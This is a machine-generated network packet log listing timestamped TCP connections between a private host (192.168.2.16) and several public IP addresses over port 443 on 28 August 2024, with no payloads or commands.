Aug 28, 2024 13:52:37.581171036 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.581234932 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.581243992 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.581415892 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.581443071 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.581468105 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.581475973 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.581525087 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.582062960 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.582151890 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.582197905 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.582205057 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.582246065 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.582293987 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.582302094 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.582963943 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.582990885 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.583031893 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.583034039 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.583045006 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.583091021 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.583091974 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.583101988 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.583136082 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.624303102 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.624371052 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.624383926 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.668095112 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.672466040 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.672925949 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.672934055 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.672996998 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.673007965 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.673114061 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.673146009 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.673168898 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.673177958 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.673191071 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.673899889 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.673960924 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.673969984 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.674011946 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.674384117 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.674454927 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.674853086 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.674926043 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.674932003 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.674952030 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.674973965 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.675000906 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.675005913 CEST	443	49712	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.675019026 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.675019026 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.675054073 CEST	49712	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.679183960 CEST	49714	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.679245949 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.679320097 CEST	49714	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.679552078 CEST	49714	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.679574013 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.996798038 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.997087955 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.997117996 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.997581005 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.997893095 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:37.998018980 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:37.998039007 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.040508986 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.044090986 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.142112970 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.142178059 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.142224073 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.142265081 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.142287016 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.142316103 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.142333031 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.142644882 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.142699003 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.142709017 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.143847942 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.143896103 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.143904924 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.144727945 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.144785881 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.144793034 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.156150103 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.156204939 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.156219959 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.165976048 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.166234016 CEST	49714	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.166263103 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.166606903 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.166996956 CEST	49714	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.167082071 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.167148113 CEST	49714	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.202119112 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.208502054 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.223474979 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 13:52:38.230421066 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.230531931 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.230591059 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.230607986 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.231597900 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.231640100 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.231658936 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.231673002 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.231714964 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.231930971 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.232911110 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.232959032 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.232970953 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.232979059 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.233016968 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.233021975 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.233689070 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.233750105 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.233757019 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.235011101 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.235090971 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.235095978 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.235681057 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.235743046 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.235748053 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.237023115 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.237071991 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.237095118 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.237099886 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.237147093 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.237797976 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.238396883 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.238460064 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.238468885 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.272543907 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.272651911 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.272679090 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.309082985 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.309156895 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.309217930 CEST	49714	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.309786081 CEST	49714	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.309807062 CEST	443	49714	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.312510014 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.312551975 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.312638998 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.312844038 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.312856913 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.318798065 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.318857908 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.318870068 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.318996906 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.319041014 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.319046021 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.319061995 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.319113016 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.319118023 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.319161892 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.320478916 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.320501089 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.320549965 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.320591927 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.320636034 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.320640087 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.320648909 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.320674896 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.321435928 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.321494102 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.321499109 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.321543932 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.321573019 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.321630955 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.324060917 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.324122906 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.324654102 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.324713945 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.326401949 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.326448917 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.326462984 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.326471090 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.326495886 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.372638941 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372699022 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372736931 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.372751951 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372777939 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.372793913 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372809887 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372811079 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.372838020 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.372843981 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372864962 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.372867107 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372914076 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.372920036 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372956991 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.372957945 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.372997999 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.373086929 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.373102903 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.375185966 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.375200033 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.375283957 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.375482082 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.375490904 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.389683962 CEST	49719	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:38.389713049 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:38.389797926 CEST	49719	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:38.390062094 CEST	49719	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:38.390072107 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:38.520868063 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.520926952 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.521049976 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.521280050 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.521298885 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.580498934 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:38.580529928 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:38.580600023 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:38.580785990 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:38.580796957 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:38.792834997 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.793107033 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.793123960 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.793447971 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.793746948 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.793807030 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.793874979 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.836509943 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.846709013 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.847100019 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.847111940 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.847435951 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.847944975 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.848011017 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.848202944 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.857271910 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:38.857566118 CEST	49719	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:38.857580900 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:38.858041048 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:38.858386993 CEST	49719	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:38.858477116 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:38.858536005 CEST	49719	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:38.892513037 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.904508114 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:38.919415951 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.919488907 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.919536114 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.920316935 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.920335054 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.982817888 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.983136892 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.983171940 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.983519077 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.983880997 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.983958960 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.984127998 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.984175920 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:38.984194040 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:38.993911982 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.993963957 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.993995905 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.994014025 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.994025946 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.994050980 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.994107962 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.994507074 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.994558096 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.994563103 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.994584084 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.994635105 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.995414019 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.995465040 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.995526075 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.995546103 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.998723030 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:38.998785019 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:38.998811007 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.043196917 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.082348108 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.082437038 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.082463980 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.082484961 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.082499027 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.082539082 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.082986116 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.083046913 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.083087921 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.083093882 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.083621979 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.083673954 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.083674908 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.083683968 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.083728075 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.083731890 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.083772898 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.083817005 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.083821058 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.084646940 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.084681988 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.084708929 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.084712982 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.084758997 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.084763050 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.085711956 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.085741997 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.085763931 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.085767984 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.085774899 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.085807085 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.128611088 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.128684044 CEST	49718	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:39.128797054 CEST	443	49718	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:39.135510921 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.135559082 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.135591030 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.135621071 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.135626078 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.135653019 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.135683060 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.136293888 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.136353016 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.136360884 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.136394024 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.136418104 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.136440039 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.136447906 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.136501074 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.137319088 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.140198946 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.140256882 CEST	49720	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:39.140264034 CEST	443	49720	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:39.162606955 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:39.162734985 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:39.162781954 CEST	49719	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:39.164459944 CEST	49719	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:39.164479971 CEST	443	49719	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:39.170370102 CEST	443	49718	104.18.95.41	192.168.2.16
